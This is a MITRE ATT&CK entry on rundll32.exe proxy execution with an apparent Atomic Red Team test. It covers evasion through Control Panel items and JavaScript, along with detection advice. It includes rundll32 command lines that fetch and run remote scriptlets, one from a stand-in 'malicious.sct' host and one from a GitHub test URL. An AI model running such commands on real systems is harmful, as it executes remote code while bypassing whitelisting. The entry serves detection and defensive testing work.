The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions
Control_RunDLLandControl_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this:
rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)Detection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.
Platforms: Windows
Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring
Defense Bypassed: Anti-virus, Application whitelisting
Permissions Required: User
Remote Support: No
Contributors: Ricardo Dias, Casey Smith
Test execution of a remote script using rundll32.exe
Supported Platforms: Windows
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_url | location of the payload | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1085/T1085.sct |
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();"